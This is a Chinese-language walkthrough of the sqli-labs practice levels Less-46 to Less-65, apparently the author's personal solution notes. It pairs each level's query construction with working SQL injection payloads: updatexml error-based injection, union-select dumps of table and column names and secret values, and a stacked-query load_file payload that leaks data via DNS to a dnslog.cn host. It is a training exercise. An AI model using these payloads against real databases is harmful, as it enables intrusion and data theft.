?sort=1 and (updatexml(1,concat(0x7e,(select version())),1))
ORDER BY ‘$id’
和 Less-46 相比,利用方式不变,只是拼接方式方式变化,注入的时候只要正常闭合即可
?sort=1’ and (updatexml(1,concat(0x7e,(select version())),1)) --+
ORDER BY $id
和 Less-46 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里就不再过多演示了
ORDER BY ‘$id’
和 Less-47 相比少了报错注入,布尔、延时盲注依然可以正常使用,into outfile 也可以,这里国光不再过多演示了
ORDER BY $id
和 Less-46 相比,查询方式由 mysql_query 变成了 mysqli_multi_query,因此支持堆叠注入,在注入方面会更加灵活,详细细节可以参考 Less-38 的堆叠注入的姿势
/?sort=1;select load_file(concat(‘\\’,(select hex(concat_ws(‘~’,version())) ),‘.fgte03.dnslog.cn\abc’))–+
需要借助dnslog
ORDER BY ‘$id’
和 Less-50 相比只是拼接方式发生了变化,实际注入的时候只需做一下对应的闭合即可
ORDER BY $id
和 Less-50 是一样的,只是少了报错注入的利用方式
ORDER BY ‘$id’
和 Less-51 是一样的,只是少了报错注入的利用方式
简单源码分析:
if reset:
# 根据时间戳生成 cookie
setcookie('challenge', ' ', time() - 3600000);
else:
if cookie 中有 challenge:
$sessid=$_COOKIE['challenge'];
else:
# 生成 cookie
$expire = time()+60*60*24*30;
$hash = data($table,$col);
setcookie("challenge", $hash, $expire);
if $_GET['id']:
计数器 + 1
$sql="SELECT * FROM security.users WHERE id='$id' LIMIT 0,1";
if 有查询成功:
输出查询信息
else:
啥都不输出
# key 被双重过滤了
$key = addslashes($_POST['key']);
$key = mysql_real_escape_string($key);
$sql="SELECT 1 FROM $table WHERE $col1= '$key'";
?id=-1’ union select 1,2,(SELECT+GROUP_CONCAT(table_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()) --+
得到表名aet12bqyho,这个表名可能是随机的 不同用户不一样,将其加密为16进制
?id=-1’ union select 1,2,(SELECT+GROUP_CONCAT(column_name+SEPARATOR+0x3c62723e)+FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_NAME=0x6165743132627179686f)–+ 去查询列名
查询字段值?id=-1’ union select 1,2,(SELECT+GROUP_CONCAT(secret_IWEH)+FROM+aet12bqyho)–+
id=($id)
Less-55 给了 14 次尝试机会,代码基本上没有变化,只是闭合方式发生了变化,这里不再赘述
id=(‘$id’)
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54。
?id=-1’) union select 1,2,3 --+
id=“$id”
和 Less-54 相比只是拼接方式不一样,还是那个姿势,详见 Less-54
?id=-1" union select 1,2,3 --+
id=‘$id’
Less-58 这里相比较于 Less-54 - Less-57 变化还是比较大的,主要有明显区别的代码如下:
$unames=array("Dumb","Angelina","Dummy","secure","stupid","superman","batman","admin","admin1","admin2","admin3","dhakkan","admin4");
$pass = array_reverse($unames);
echo 'Your Login name : '. $unames[$row['id']];
echo 'Your Password : ' .$pass[$row['id']];
因为这里输出只输出 $unames 和 $pass 数组,pass 数组就是 unames 数组的逆序,所以这里使用联合查询的话是没有效果的,输出不了有用的信息。天无绝人之路,但是下面输出:
print_r(mysql_error());
所以这里就可以进行报错注入,下面直接丢 payload 吧:
?id=5’ and updatexml(1,concat(0x7e,(version())),1) --+
id=$id
与 Less-58 的思路一样,只是拼接方式不一样,详见 Less-58
id=(“$id”)
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
id=((‘$id’))
与 Less-58 注入方式一致,只是拼接方式不一样罢了,详见 Less-58
id=(‘$id’)
此时报错也取消了,这里只能进行布尔盲注或者延时盲注了
id=‘$id’
与 Less-62 注入方式一致,只是拼接方式不一样罢了
id=(($id))
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
id=(“$id”)
与 Less-62 注入方式一致,只是拼接方式不一样罢了,详见 Less-62
本文仅记录作者个人的解题过程,其中大量的思路讲解参考国光